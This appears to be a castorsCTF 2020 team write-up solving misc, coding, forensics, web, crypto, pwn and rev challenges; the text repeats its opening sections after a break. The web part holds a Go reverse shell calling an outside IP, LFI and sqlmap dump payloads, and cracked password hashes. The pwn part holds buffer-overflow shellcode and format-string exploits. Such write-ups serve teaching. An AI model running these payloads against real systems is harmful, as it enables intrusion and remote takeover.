; <<>> DiG 9.11.9 <<>> -t TXT cybercastors.com...;; ANSWER SECTION:cybercastors.com. 299 IN TXT "v=spf1 include:_spf.google.com ~all"cybercastors.com. 299 IN TXT "flag=castorsCTF{L00K_1_DuG_uP_4_fL4g_464C4147}"```## To plant a seed```Did you know flags grow on trees? Apparently if you water them a specific amount each day the tree will grow into a flag! The tree can only grow up to a byte each day. I planted my seed on Fri 29 May 2020 20:00:00 GMT. Just mix the amount of water in the list with the tree for 6 weeks and watch it grow!```A file with the following sequence was provided:```Watering Pattern: 150 2 103 102 192 216 52 128 9 144 10 201 209 226 22 10 80 5 102 195 23 71 77 63 111 116 219 22 113 89 187 232 198 53 146 112 119 209 64 79 236 179```
Guessing that this is about PRNG seeds, and the pattern is a flag XORed with the output, we need to find a PRNG that, when seeded with the given date, outputs numbers such that `150 ^ random_1 = 'c'` and `2 ^ random_2 = 'a'`, etc. After trying a few variants, like libc and different versions of Python, and testing ways to mask the output to 8-bit numbers, I figured out that they used Python3 and `random.randint(0,255)`.
```pythonimport randomrandom.seed(1590782400)
nums = [150,2,103,102,192,216,52,128,9,144,10,201,209,226,22,10,80,5,102,195,23,71,77,63,111,116,219,22,113,89,187,232,198,53,146,112,119,209,64,79,236,179]
print(''.join(chr(e ^ random.randint(0,255)) for e in nums))# castorsCTF{d0n7_f0rg37_t0_73nd_y0ur_s33ds}```
# Coding## Arithmetics```pythonfrom pwn import *
r = remote("chals20.cybercastors.com", 14429)r.sendlineafter("ready.\n", "")
lookup = {"one":"1", "two":"2", "three":"3", "four":"4", "five":"5", "six":"6", "seven":"7", "eight":"8", "nine": "9", "minus":"-", "plus":"+", "multiplied-by":"*", "divided-by":"//"}
for count in range(100): q = r.recvline() print(count, q) _, _, a, op, b, _ = q.split(" ") if a in lookup: a = lookup[a] if b in lookup: b = lookup[b] if op in lookup: op = lookup[op]
r.sendline(str(eval(a+op+b))) print r.recvline() count += 1
r.interactive()```## Base Runner
Saw that it was binary -> octal -> hex -> base64.Just built upon an ugly one liner in python and pwntools, looped it 50 times and got the flag ```pythonfrom pwn import *from base64 import b64decode
r = remote("chals20.cybercastors.com",14430)
r.recvuntil("ready.")r.sendline("\n")r.recvline()
for i in range(50): r.sendline(b64decode("".join([chr(int(nnn,16)) for nnn in "".join([chr(int(nn,8)) for nn in "".join([chr(int(n,2)) for n in r.recvline().decode().strip().split(" ")]).split(" ")]).split(" ")])).decode()) print(r.recvline())
r.interactive()```## Flag GodsThe service asks us to provide the hamming distance between a string and some hexadecimal output. This is easily accomplished by decoding the hex string, then bitwise XORing the strings, and counting the number of "1" bits in the result.
```pythonfrom pwn import *from Crypto.Util.number import long_to_bytes as l2b, bytes_to_long as b2l
r = remote("chals20.cybercastors.com", 14431)r.sendline("")
for iteration in range(80): _ = r.recvuntil("Transmitted message: ") m1 = r.recvline().rstrip() _ = r.recvuntil("Received message: ") m2 = r.recvline().rstrip().decode('hex') hamming = bin(b2l(xor(m1,m2))).count("1") r.sendline(str(hamming))
if iteration == 79: break
print iteration print r.recvline() print r.recvline()
r.interactive()```## Glitchity GlitchAfter randomly trying a few options in the menu, I found a sequence that led to infinite selling. Instead of figuring out the bugs, or trying to optimize it any further, I just looped until I had enough money to buy the flag.
```pythonfrom pwn import *
context.log_level = "debug"
r = remote("chals20.cybercastors.com", 14432)
r.sendlineafter("Choice: ","1")r.sendlineafter("Choice: ","2")r.sendlineafter("Choice: ","3")r.sendlineafter("Choice: ","6")
for _ in range(6000//20): r.sendlineafter("Choice: ", "0") r.sendlineafter("Choice: ", "1")
r.sendline("5") # castorsCTF{$imPl3_sTUph_3h?}
r.interactive()```
# Forensics
## LeftoversThis is HID data, but with a slight twist where multiple keys are being sent in the same packet. First we extract all the HID data packets.
`tshark -r interrupts.pcapng -T fields -e usb.capdata > usbdata.txt`
Some manual cleanup is required afterwards; namely deleting blank lines and deleting metadata PDUs (which have a different length).
After this, you just run your run-of-the-mill HID parser, just to see that it doesn't support Caps Lock, and assumes only one key is arriving at any point. Adding caps-lock support, I'm left with
`what dooyoo thhnng yyuu will ffnnn herr? thhss? csstossCTF{1stiswhatyoowant}`
and these letters that are pressed, but couldn't be merged with the earlier output: `uuuiiioooiiiddeeiiiaarruu`. Through manual comparison of the provided strings, and filtering out some double letters, it's clear that the flag must be `castorsCTF{1stiswhatyouwant}`.
## ManipulationThe challenge has a .jpg file, but the contents are actually output from `xxd`. The first line is also moved to the bottom. We can undo this by moving the last line to the top, using a text editor, then running `xxd -r` on the file. This produces a valid JPG file with two flags on it. The last flag was the correct one.
## Father Taurus Kernel Import!Loaded dump into Autopsy, let it scan. Found a deleted file `Secrets/_lag.txt` (originally flag.txt?) with contents`Y2FzdG9yc0NURntmMHIzbnMxY1NfbHNfSVRzXzBXbl9iMFNTfQ==`, which after base64 decoding becomes `castorsCTF{f0r3ns1cS_ls_ITs_0Wn_b0SS}`.
# General
# Web
## Bane ArtThis challenge has a very obvious LFI vulnerability, and php wrappers are enabled. After some probing around, reading files with`http://web1.cybercastors.com:14438/app.php?topic=php://filter/convert.base64-encode/resource=<FILENAME>`and abusing `/proc/self/fd/7` as a semi-RCE, we find the flag located at`/home/falg/flag/test/why/the/hassle/right/flag.txt`.
Final payload is then `http://web1.cybercastors.com:14438/app.php?topic=php://filter/convert.base64-encode/resource=/home/falg/flag/test/why/the/hassle/right/flag.txt`
`castorsCTF{w3lc0m3_2_D4_s0urc3_YoUng_Ju4n}`
## ShortcutsSaw you could upload your own shortcuts, however if you uploaded `<filename>` and clicked it, the webapp tried to `go run <filename>.go`. I circumvented this by just uploading `<filename>` and `<filename>.go` to the shortcuts app with the same content, then clicking the `<filename>` link.
the go code I uploaded was some sample rev-shell code from pentestmonkey.```gopackage main
import ( "net" "os/exec" "time")
func main() { reverse("167.99.202.x:8080")}
func reverse(host string) { c, err := net.Dial("tcp", host) if nil != err { if nil != c { c.Close() } time.Sleep(time.Minute) reverse(host) }
cmd := exec.Command("/bin/sh") cmd.Stdin, cmd.Stdout, cmd.Stderr = c, c, c cmd.Run() c.Close() reverse(host)}```
After that I found the flag in /home/tom/flag.txt
## QuizSaw a simple quiz app, apparently written in Go. Tried lots of stuff with the questionaire, could provoke a strconv error when setting question number to something that was not a number, but nothing else interesting.
After some directory brute forcing we found /backup/, giving us the soruce code.
### Function & routes```go mux := httprouter.New()
mux.GET("/", index) mux.GET("/test/:directory/:theme/:whynot", super) mux.GET("/problems/math", math) mux.POST("/problems/math", mathCheck)
//Remember to Delete mux.GET("/backup/", backup)``````gofunc super(w http.ResponseWriter, req *http.Request, ps httprouter.Params) { fmt.Println(ps.ByName("whynot")) var file string = "/" + ps.ByName("directory") + "/" + ps.ByName("theme") + "/" + ps.ByName("whynot") test, err := os.Open(file) handleError(w, err) defer test.Close()
scanner := bufio.NewScanner(test) var content string for scanner.Scan() { content = scanner.Text() }
fmt.Fprintf(w, "Directories: %s/%s\n", ps.ByName("directory"), ps.ByName("theme")) fmt.Fprintf(w, "File: %s\n", ps.ByName("whynot")) fmt.Fprintf(w, "Contents: %s\n", content)}```After inspecting the source code we see that the super function gives us LFI, but only the last line in the file we want to view.
We tried alot of stuff, including viewing the .csv files, different files in /proc, until we finally looked at the description hinting to the name jeff.
```bashcurl --path-as-is -g 'http://web1.cybercastors.com:14436/test/home/jeff/flag.txt' -o -Directories: home/jeffFile: flag.txtContents: castorsCTC{wh0_l4iks_qUiZZ3s_4nyW4y}```
## Car LotteryWe're presented with a website that says you need to be visitor number N, for some large number N, in order to buy a car. Inspecting the requests, it's clear that this is set through cookies, and we can gain access by setting the cookie `client=3123248`. This allows us to browse the cars, by querying for data. Probing around here a bit, reveals an SQLi vulnerability in the lookup. We dump the entire database with this.
`python sqlmap.py -o -u "http://web1.cybercastors.com:14435/search" --data "id=1" --cookie="client=3123248" --dump-all`
Inspecting the data, there's a table called `Users` with the following contents:
```Username,Password[email protected],cf9ee5bcb36b4936dd7064ee9b2f139e[email protected],fe87c92e83ff6523d677b7fd36c3252d[email protected],d1833805515fc34b46c2b9de553f599d[email protected],77004ea213d5fc71acf74a8c9c6795fb```
Which are easily cracked
```cf9ee5bcb36b4936dd7064ee9b2f139e:naruto fe87c92e83ff6523d677b7fd36c3252d:powerpuffd1833805515fc34b46c2b9de553f599d:pancakes77004ea213d5fc71acf74a8c9c6795fb:fun```
Here we got stuck for a while, until an admin hinted towards scanning for endpoints. This gave us `http://web1.cybercastors.com:14435/dealer`, where we could use the credentials above to log in and get the flag.
`castorCTF{daT4B_3n4m_1s_fuN_N_p0w3rfu7}`## Mixed FeelingsFound some commented out "php" code.
```php if(isset($file)) { if ($user == falling_down_a_rabit_hole) { exit()? } else { go to .flagkindsir }}```
http://web1.cybercastors.com:14439/.flagkindsir
Found this link
When we click the buttons it posts cookies=cookies or puppies=puppies.
So we tried flags=flags, then on a whim cookies=flag, and it worked.
```bashcurl 'http://web1.cybercastors.com:14439/.flagkindsir' --data-raw "cookies=flag"```
# Crypto## One Trick Ponyjust OTP where the flag is the key. so just input some known plaintext and get encrypted text. ```bash➜ Mixed Feelings echo -n "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" | nc chals20.cybercastors.com 14422
> b'\x02\x12\x15\x0e\x13\x12"5\'\x1a\nRR\x11>\x18Q\x14\x13>\nR\x18T>TR\x02\x13'```Then XOR the encrypted text with the known plaintext.```python>>> from pwn import xor>>> xor("aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa",b'\x02\x12\x15\x0e\x13\x12"5\'\x1a\nRR\x11>\x18Q\x14\x13>\nR\x18T>TR\x02\x13')b'cstorsCTF{k33p_y0ur_k3y5_53crcstorsCTF{k33p_y0'```
## Magic School BusHere we're presented with a service that serves up a scrambled flag, and can scramble arbitrary inputs. There's two ways to solve this: modify the input until its scrambled output matches the flag output, or figure out the scramble. We figured out the scramble indexes by scrambling strings like "BAAA...", "ABAA..." and noting where the 'B' ended up each time. Then applied this in reverse to the scrambled flag.
```pythonfrom pwn import *
lookup = []flag_len = 46
r = remote("chals20.cybercastors.com", 14421)
for i in range(flag_len): s = list("A"*flag_len) s[i] = "B" s = ''.join(s) r.sendline("1") _ = r.recv() r.sendlineafter("Who's riding the bus?: ", s) resp = r.recvline().strip().split()[2] lookup.append(resp.index("B"))
# lookup = [11, 23, 17, 5, 34, 40, 0, 29, 12, 24, 18, 6, 35, 41, 1, 30, 13, 25, 19, 7, 36, 42, 2, 31, 14, 26, 20, 8, 37, 43, 3, 32, 15, 27, 21, 9, 38, 44, 4, 33, 16, 28, 22, 10, 39, 45]
assert sorted(lookup) == range(flag_len)
r.sendline("2")r.recvuntil("Flag bus seating: ")flag = r.recvline()print flag # SNESYT3AYN1CTISL7SRS31RAFSKV3C4I0SOCNTGER0COM5
final_flag = [None] * flag_lenfor i in range(flag_len): final_flag[i] = flag[lookup[i]]
print(''.join(final_flag))```
Adding underscores we get `CASTORSCTF{R3C0N4ISSANCE_IS_K3Y_TO_S0LV1NG_MYS73R1E5}`
## WarmupSimple math, using the formulas`a=p+q, b=p-q, a^2+b^2=c^2, A=a*b/2`we end up with an equation for q and p alone, e.g.`2*q^2 = (c^2)/2 - A/2`
However, the `c` variable we've been given, is actually `c^2`, so the results were strange at first. After figuring this out, we can calculate p and q to decrypt the flag.
```pythonp = gmpy2.iroot(((c) // 4) - A, 2)[0]q = gmpy2.iroot(((c) // 4) + A, 2)[0]d = gmpy2.invert(e, (p-1)*(q-1))m = pow(enc, d, p*q)# castorsCTF{n0th1ng_l1k3_pr1m3_numb3r5_t0_w4rm_up_7h3_3ng1n3s}```
## Two PathsInside the image, there's some binary code that sends us off to `https://ctf-emoji-cipher.s3.amazonaws.com/decode_this.html`. And inside one of the color planes, we see a link sending us to `https://ctf-emoji-cipher.s3.amazonaws.com/text_cipher.htm`. I assume these are the two paths.
The first page has a ton of emojis, intersped with symbols like `_{},.!`. Removing all non-emojis, we see that there's 26 unique emojis, so it's likely a mapping to the English alphabet. Doing some basic tests does not reveal a probable mapping though, so it's likely some gibberish in the text. However, the second URL shows a message log between two persons, where one is speaking with text and the other in emoji. From the inital few sentences, we can guess that the emoji man is saying "hi" and "all good, you?". Using these translations lets us guess more and more letter mappings, until we have the entire text recovered.
```congratulations!_if_you_can_read_this,_then_you_have_solved_the_cipher!_we_just_hope_you_found_a_more_efficient_way_for_deciphering_than_going_one_by_one_or_else_you_won't_get_through_the_next_part_very_quickly._maybe_try_being_a_little_more_lazy!```
This text block is followed by a ton of flag-looking strings, where only one of them is the actual flag. This is why statistical tests failed to automatically decrypt this.
`castorsCTF{sancocho_flag_qjzmlpg}`
## Bagel BytesWe solved this before the code was released, and we're a bit unsure why such a huge hint was revealed after the challenge had been solved.
In this challenge, we get access to a service that lets us encrypt our own plaintexts, and also encrypt the flag with a chosen prefix. Fiddling about a bit, reveals that this is AES in ECB mode, which has a very common attack if you're given an oracle like here. Just ask the server to encrypt `"A"*15 + flag`. Then encrypt blocks like `"A"*15 + c` for every `c` in the printable alphabet, until you find a block similar to the flag block. This reveals a single letter of the flag. Now replace the last "A" with the first letter of the recovered flag, and repeat until the entire block is recovered.
To recover the next block, we can just use the first block as a prefix instead of using `"A"`, and look at the next block of the output. Here's some code for recovering the first block.
```pythonfrom pwn import *from string import printable
ALPHA = printable.strip()ALPHA = ALPHAr = remote("chals20.cybercastors.com", 14420)
def bake(s): r.sendlineafter("Your choice: ", "1") r.sendlineafter("> ", s) _ = r.recvline() _ = r.recvline() return r.recvline().strip()
def bakeflag(s): r.sendlineafter("Your choice: ", "2") r.sendlineafter("> ", s) _ = r.recvline() _ = r.recvline() return r.recvline().strip()
flag = ""for i in range(16): target = bakeflag("A"*(15-i))[:32] print("Target", target) for c in ALPHA: h = bake((flag + c).rjust(16, "A")) print("h", c, h) if target == h: flag += c print(flag) break else: assert False
# flag = "castorsCTF{I_L1k"```
Repeating this 3 times, looking at higher offsets when picking the `target` variable, we recover `castorsCTF{I_L1k3_muh_b4G3l5_3x7r4_cr15pY}`.
## Jigglypuff's songInstead of LSB stego, this challenge opted to do MSB stego. Simply use stegsolve to pick out the MSB of red, green and blue layers to recover a long text of rickrolls and `castorsCTF{r1ck_r0ll_w1ll_n3v3r_d3s3rt_y0uuuu}`## AmazonEach letter of the flag has been multiplied with a prime number, in increasing order.
```pythonimport gmpy2nums = [198,291,575,812,1221,1482,1955,1273,1932,2030,3813,2886,1968,4085,3243,5830,5900,5795,5628,3408,7300,4108,10043,8455,6790,4848,11742,10165,8284,5424,14986,6681,13015,10147,7897,14345,13816,8313,18370,8304,19690,22625]
flag = ""p=2
for num in nums: flag += chr(num // p) p = gmpy2.next_prime(p)
print(flag)```## 0x101 DalmatiansA continuation of Amazon, the change here is that the result is taken modulo 0x101```pythonimport gmpy2
nums = [198, 34, 61, 41, 193, 197, 156, 245, 133, 231, 215, 14, 70, 230, 33, 231, 221, 141, 219, 67, 160, 52, 119, 4, 127, 50, 19, 140, 201, 1, 101, 120, 95, 192, 20, 142, 51, 191, 188, 2, 33, 121, 225, 93, 211, 70, 224, 202, 238, 114, 194, 38, 56]
flag = ""p=2
for num in nums: for i in range(256): if (p*i) % 0x101 == num: flag += chr(i) break p = gmpy2.next_prime(p)
print(flag)```## Stalk MarketTo obtain the flag here, we need to guess the highest price out of 12 possibilities, 20 times in a row. The prices are picked based on some buckets of numbers, all rolled from the python random module. We're also given a commit hash for each price, to prove that the price was indeed pre-determined. We're also given the price of monday at AM each round.
The hashing algorithm does the following:
- Set initial state to a constant- Pad input and split into chunks of 16 bytes- For each chunk, do 8 rounds of:-- XOR state with the chunk-- Perform sbox lookup for each byte in the state-- Permute all state bytes according to a pbox.
The commit hashes are computed like `hash(secret + pad("mon-am-123"))`, where the secret value is exactly 16 bytes, or 1 chunk. The same secret is used for every price in a given round, and is also revealed after our guess for verification purposes.
A huge flaw here, is that after processing the secret block, the state will be **the same** for each calculated price. Then it applies the hashing algorithm to the time+price string. We can then basically say that the state after the first 8 rounds, is the actual initial state, instead of the secret. Since we know the price for monday at 12, we can undo all the hashing steps for the last block, to recover this "new secret". Then we can brute-force the prices for each time of the day, starting at the new secret, until it matches the commit we've been given. Now we know the prices, and can easily make the right guess.
```pythonfrom pwn import *
def pad(s): if len(s) % 16 == 0: return s else: pad_b = 16 - len(s) % 16 return s + bytes([pad_b]) * pad_b
def repeated_xor(p, k): return bytearray([p[i] ^ k[i] for i in range(len(p))])
def group(s): return [s[i * 16: (i + 1) * 16] for i in range(len(s) // 16)]
sbox = [92, 74, 18, 190, 162, 125, 45, 159, 217, 153, 167, 179, 221, 151, 140, 100, 227, 83, 8, 4, 80, 75, 107, 85, 104, 216, 53, 90, 136, 133, 40, 20, 94, 32, 237, 103, 29, 175, 127, 172, 79, 5, 13, 177, 123, 128, 99, 203, 0, 198, 67, 117, 61, 152, 207, 220, 9, 232, 229, 120, 48, 246, 238, 210, 143, 7, 33, 87, 165, 111, 97, 135, 240, 113, 149, 105, 193, 130, 254, 234, 6, 76, 63, 19, 3, 206, 108, 251, 54, 102, 235, 126, 219, 228, 141, 72, 114, 161, 110, 252, 241, 231, 21, 226, 22, 194, 197, 145, 39, 192, 95, 245, 89, 91, 81, 189, 171, 122, 243, 225, 191, 78, 139, 148, 242, 43, 168, 38, 42, 112, 184, 37, 68, 244, 223, 124, 218, 101, 214, 58, 213, 34, 204, 66, 201, 180, 64, 144, 147, 255, 202, 199, 47, 196, 36, 188, 169, 186, 1, 224, 166, 10, 170, 195, 25, 71, 215, 52, 15, 142, 93, 178, 174, 182, 131, 248, 26, 14, 163, 11, 236, 205, 27, 119, 82, 70, 35, 23, 88, 154, 222, 239, 209, 208, 41, 212, 84, 176, 2, 134, 230, 51, 211, 106, 155, 185, 253, 247, 158, 56, 73, 118, 187, 250, 160, 55, 57, 16, 17, 157, 62, 65, 31, 181, 164, 121, 156, 77, 132, 200, 138, 69, 60, 50, 183, 59, 116, 28, 96, 115, 46, 24, 44, 98, 233, 137, 109, 49, 30, 173, 146, 150, 129, 12, 86, 249]p = [8, 6, 5, 11, 14, 7, 4, 0, 9, 1, 13, 10, 2, 3, 15, 12]round = 8
inv_s = [sbox.index(i) for i in range(len(sbox))]inv_p = [p.index(i) for i in range(len(p))]
DAYTIMES = ["mon-pm", "tue-am", "tue-pm", "wed-am", "wed-pm", "thu-am", "thu-pm", "fri-am", "fri-pm", "sat-am", "sat-pm"]
def reverse_state(s, guess): state = bytes.fromhex(s) for _ in range(round): temp = bytearray(16) for i in range(len(state)): temp[inv_p[i]] = state[i] state = temp
for i in range(len(state)): state[i] = inv_s[state[i]]
state = repeated_xor(state, guess) return state.hex()
def hash(data, init): state = bytes.fromhex(init) data = group(pad(data)) for roundkey in data: for _ in range(round): state = repeated_xor(state, roundkey) for i in range(len(state)): state[i] = sbox[state[i]] temp = bytearray(16) for i in range(len(state)): temp[p[i]] = state[i] state = temp return state.hex()
r = remote("chals20.cybercastors.com", 14423)
for _ in range(20): _ = r.recvuntil("Price commitments for the week: ") hashes = [e.decode() for e in r.recvline().rstrip().split()] _ = r.recvuntil("Monday AM Price: ") monam_price = r.recvline().strip().decode() guess = pad(f"mon-am-{monam_price}".encode()) init = reverse_state(hashes[0], guess)
best_price = int(monam_price) best_time = "mon-am"
for ix, time in enumerate(DAYTIMES): for price in range(20, 601): guess = pad(f"{time}-{price}".encode()) h = hash(guess, init) if h == hashes[ix+1]: print(time, price) if price > best_price: best_price = price best_time = time break else: assert False r.sendline(best_time)
r.interactive()```
`Even Tom Nook is impressed. Here's your flag: castorsCTF{y0u_4r3_7h3_u1t1m4t3_turn1p_pr0ph37}`
# PWN
## abcbofVery simple buffer overflow, to overwrite the next variable with `CyberCastors`. Simply send a string with tons of padding, which ends in `CyberCastors`. Even when unsure about the exact padding length, multiple lengths can be tested.
## babybof1 part 1ROP to the `get_flag` function.```pythonfrom pwn import *import time
context.arch = "x86_64"
elf = ELF("babybof")r = remote("chals20.cybercastors.com", 14425)
payload = "A"*264payload += p64(elf.symbols["get_flag"])r.sendline(payload)r.shutdown("send")r.interactive()```Running it yields the flag: `castorsCTF{th4t's_c00l_but_c4n_y0u_g3t_4_sh3ll_n0w?}`
## babybof1 pt2Same start as the babybof1 challenge, except this time we need a shell. Since the stack is executable, and RAX contains a pointer to the array `gets()` wrote to, we use a "jmp rax" gadget to execute our shellcode.
*Replaces the payload in pt 1*
```pythonJMP_RAX = 0x0000000000400661payload = asm(shellcraft.sh()).ljust(264, "\x90")payload += p64(JMP_RAX)r.sendline(payload)r.interactive()```When we have a shell we can cat the `shell_flag.txt````consoleWelcome to the cybercastors BabybofSay your name: sh: 0: can't access tty; job control turned off$ lsbabybof flag.txt shell_flag.txt$ cat shell_flag.txtcastorsCTF{w0w_U_jU5t_h4ck3d_th15!!1_c4ll_th3_c0p5!11}```
## Babybof2We get a binary file called`winner` and a service to connect to.When running the program it asks for which floor the winners table is at. After opening up the program in IDA, we quickly find an unused function called `winnersLevel`. The function checks if the argument of this function is either one of two integers (258 (0x102) or 386 (0x182)). If the number is correct it prints the flag, or else it prints an info message that the badge number is not correct. We can overflow the input buffer using gets and overwrite the return address with the address of the `winnersLevel` function. We also need to send in the correct argument to this function to get the flag.
```python#!/usr/bin/env python3from pwn import *
exe = context.binary = ELF('winners')host = args.HOST or 'chals20.cybercastors.com'port = int(args.PORT or 14434)
def local(argv=[], *a, **kw): '''Execute the target binary locally''' if args.GDB: return gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw) else: return process([exe.path] + argv, *a, **kw)
def remote(argv=[], *a, **kw): '''Connect to the process on the remote host''' io = connect(host, port) if args.GDB: gdb.attach(io, gdbscript=gdbscript) return io
def start(argv=[], *a, **kw): '''Start the exploit against the target.''' if args.LOCAL: return local(argv, *a, **kw) else: return remote(argv, *a, **kw)
gdbscript = '''tbreak maincontinue'''.format(**locals())
# -- Exploit --- #io = start()
winners_addr = exe.symbols["winnersLevel"] # Address of the winnersLevel functionp = cyclic(cyclic_find(0x61616174)) # Send input of cyclic 100 to program to find the offset where we can write a new return address.p+= p32(winners_addr)p+= b'a'*4p+= p32(0x102) # Send in the correct integer value the function expects to print the flag
if args.LOCAL: io.sendlineafter('is the table at: \n', p)else: io.sendline(p) # Some issues with the remote service, se we need to send the exploit right away and not wait for any prompt. io.interactive()```The flag is: `castorsCTF{b0F_s_4r3_V3rry_fuN_4m_l_r1ght}`
## babyfmtSimple format string
Spammed some `%lx` and after decoding the hex I could see the flag, narrowed down to the `%lx`'s I needed.```cnc chals20.cybercastors.com 14426
Hello everyone, this is babyfmt! say something: %8$lx%9$lx%10$lx%11$lx%12$lx%13$lx%8$lx%9$lx%10$lx%11$lx%12$lx%13$lx4373726f747361635f6b34336c7b46543468745f6b34336c74346d7230665f745f366e317274735f7d6b34336c```
decoded the hex string, however the flag was divided into 8 char indices which had to be reversed, which I did with python.
```python>>> s = "Csrotsac_k43l{FT4ht_k43lt4mr0f_t_6n1rts_}k43l">>> "".join([s[i:i+8][::-1] for i in range(0,len(s),8)])'castorsCTF{l34k_l34k_th4t_f0rm4t_str1n6_l34k}'```
# Rev
## Reverse-meThe binary is reading a flag.txt file, applies some mapping function on each of the bytes, and dump them to the screen. Then it asks us to input the flag for verification.
We solved this by just encrypting A-Z, a-z, 0-9 etc. and creating a mapping table for it.
```pythonlookup = {e2:e1 for e1, e2 in zip("abcdefghijklmnopqrstuvwx", "6d6e6f707172737475767778797a6162636465666768696a".decode('hex'))}for e1, e2 in zip("ABCDEFGHIJKLMNOPQRSTUVWX", "434445464748494a4b4c4d4e4f505152535455565758595a".decode('hex')): assert not e2 in lookup lookup[e2] = e1for e1, e2 in zip("0123456789", "32333435363738393a3b".decode('hex')): assert not e2 in lookup lookup[e2] = e1
flag = "64 35 68 35 64 37 33 7a 38 6b 33 37 6b 72 67 7a".replace(" ","").decode('hex')print(''.join(lookup.get(e,'_') for e in flag))```
`castorsCTF{r3v3r51n6_15_fun}`## MappingVery similar to the Reverse-me challenge, except it's golang, and the output is base64-encoded before comparing it to the scrambled flag. I input the entire ASCII alphanum charset, set a breakpoint in the base64-encoding function, and read out the mapping table that was given as an argument to it. Then I extract the encoded flag used for comparison, decoded it and undid the mapping.
```pythonimport base64from string import maketrans
a = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"b = "5670123489zyxjklmdefghinopqrstuvwcbaZYXFGABHOPCDEQRSTUVWIJKNML"flag = "eHpzdG9yc1hXQXtpYl80cjFuMmgxNDY1bl80MXloMF82Ml95MDQ0MHJfNGQxbl9iNXVyMn0="
tab = maketrans(b,a)
print(base64.b64decode(flag).translate(tab))```
`castorsCTF{my_7r4n5l4710n_74bl3_15_b3773r_7h4n_y0ur5}`
## RansomThe binary here, is basically encrypting flag.png, and we're provided with an encrypted flag file and a traffic log. Looking at the file length, it's reasonable to believe that it's a stream cipher, which often can be undone by simply encrypting again. This is because stream ciphers often just XOR the plaintext with a bytestream.
But before the binary tries to encrypt, it tries to contact a webserver at 192.168.0.2:8081 and ask for a seed. If it is not able to successfully complete a handshake with this server, it will pick a random seed based on the current time.
We set up a basic flask server that with the endpoint `/seed`, that responds `1337` to GET requests and `ok\n` to POST requests. This matches the traffic seen in the traffic log. When we apply this to the original flag file, we get a valid PNG file with the flag on it. (Until we added the newline, it randomly encrypted things every time).

## OctopusBefore the new binary was dropped, this challenge looked like a very hard encoding challenge. After the update, it's a matter of removing the certificate header/footer, fixing newlines with dos2unix, then decoding the base64 into an ELF file. Running this ELF, spits out the flag in base64-encoded form.
```bashroot@bd2ba35b12d7:/ctf/work# ./obfusEstou procurando as palavras para falar em inglês ...Aqui vou[Y 2 F z d G 9 y c 0 N U R n t X a D B f c z Q x Z F 9 B b l k 3 a G x u R 1 9 C M H V U X 2 0 0 d E h 9]```
`castorsCTF{Wh0_s41d_AnY7hlnG_B0uT_m4tH}`
|
# Cybercastors writeups for team bootplug
# Misc## Password crack 3```7adebe1e15c37e23ab25c40a317b76547a75ad84bf57b378520fd59b66dd9e12
This one needs to be in the flag format first...```
The solution here was to use a custom ruleset with hashcat, that applied the flag format to all password candidates: `^{^F^T^C^s^r^o^t^s^a^c$}`. Running rockyou.txt with this rule, produced the solution:`7adebe1e15c37e23ab25c40a317b76547a75ad84bf57b378520fd59b66dd9e12:castorsCTF{theformat!}`## Pitfall```sylv3on_ was visiting cybercastors island and thought it'd be funny to bury the flag.txt. Can you help us DIG it out?```
```$ dig -t TXT cybercastors.com
; <<>> DiG 9.11.9 <<>> -t TXT cybercastors.com...;; ANSWER SECTION:cybercastors.com. 299 IN TXT "v=spf1 include:_spf.google.com ~all"cybercastors.com. 299 IN TXT "flag=castorsCTF{L00K_1_DuG_uP_4_fL4g_464C4147}"```## To plant a seed```Did you know flags grow on trees? Apparently if you water them a specific amount each day the tree will grow into a flag! The tree can only grow up to a byte each day. I planted my seed on Fri 29 May 2020 20:00:00 GMT. Just mix the amount of water in the list with the tree for 6 weeks and watch it grow!```A file with the following sequence was provided:```Watering Pattern: 150 2 103 102 192 216 52 128 9 144 10 201 209 226 22 10 80 5 102 195 23 71 77 63 111 116 219 22 113 89 187 232 198 53 146 112 119 209 64 79 236 179```
Guessing that this is about PRNG seeds, and the pattern is a flag XORed with the output, we need to find a PRNG that, when seeded with the given date, outputs numbers such that `150 ^ random_1 = 'c'` and `2 ^ random_2 = 'a'`, etc. After trying a few variants, like libc and different versions of Python, and testing ways to mask the output to 8-bit numbers, I figured out that they used Python3 and `random.randint(0,255)`.
```pythonimport randomrandom.seed(1590782400)
nums = [150,2,103,102,192,216,52,128,9,144,10,201,209,226,22,10,80,5,102,195,23,71,77,63,111,116,219,22,113,89,187,232,198,53,146,112,119,209,64,79,236,179]
print(''.join(chr(e ^ random.randint(0,255)) for e in nums))# castorsCTF{d0n7_f0rg37_t0_73nd_y0ur_s33ds}```
# Coding## Arithmetics```pythonfrom pwn import *
r = remote("chals20.cybercastors.com", 14429)r.sendlineafter("ready.\n", "")
lookup = {"one":"1", "two":"2", "three":"3", "four":"4", "five":"5", "six":"6", "seven":"7", "eight":"8", "nine": "9", "minus":"-", "plus":"+", "multiplied-by":"*", "divided-by":"//"}
for count in range(100): q = r.recvline() print(count, q) _, _, a, op, b, _ = q.split(" ") if a in lookup: a = lookup[a] if b in lookup: b = lookup[b] if op in lookup: op = lookup[op]
r.sendline(str(eval(a+op+b))) print r.recvline() count += 1
r.interactive()```## Base Runner
Saw that it was binary -> octal -> hex -> base64.Just built upon an ugly one liner in python and pwntools, looped it 50 times and got the flag ```pythonfrom pwn import *from base64 import b64decode
r = remote("chals20.cybercastors.com",14430)
r.recvuntil("ready.")r.sendline("\n")r.recvline()
for i in range(50): r.sendline(b64decode("".join([chr(int(nnn,16)) for nnn in "".join([chr(int(nn,8)) for nn in "".join([chr(int(n,2)) for n in r.recvline().decode().strip().split(" ")]).split(" ")]).split(" ")])).decode()) print(r.recvline())
r.interactive()```## Flag GodsThe service asks us to provide the hamming distance between a string and some hexadecimal output. This is easily accomplished by decoding the hex string, then bitwise XORing the strings, and counting the number of "1" bits in the result.
```pythonfrom pwn import *from Crypto.Util.number import long_to_bytes as l2b, bytes_to_long as b2l
r = remote("chals20.cybercastors.com", 14431)r.sendline("")
for iteration in range(80): _ = r.recvuntil("Transmitted message: ") m1 = r.recvline().rstrip() _ = r.recvuntil("Received message: ") m2 = r.recvline().rstrip().decode('hex') hamming = bin(b2l(xor(m1,m2))).count("1") r.sendline(str(hamming))
if iteration == 79: break
print iteration print r.recvline() print r.recvline()
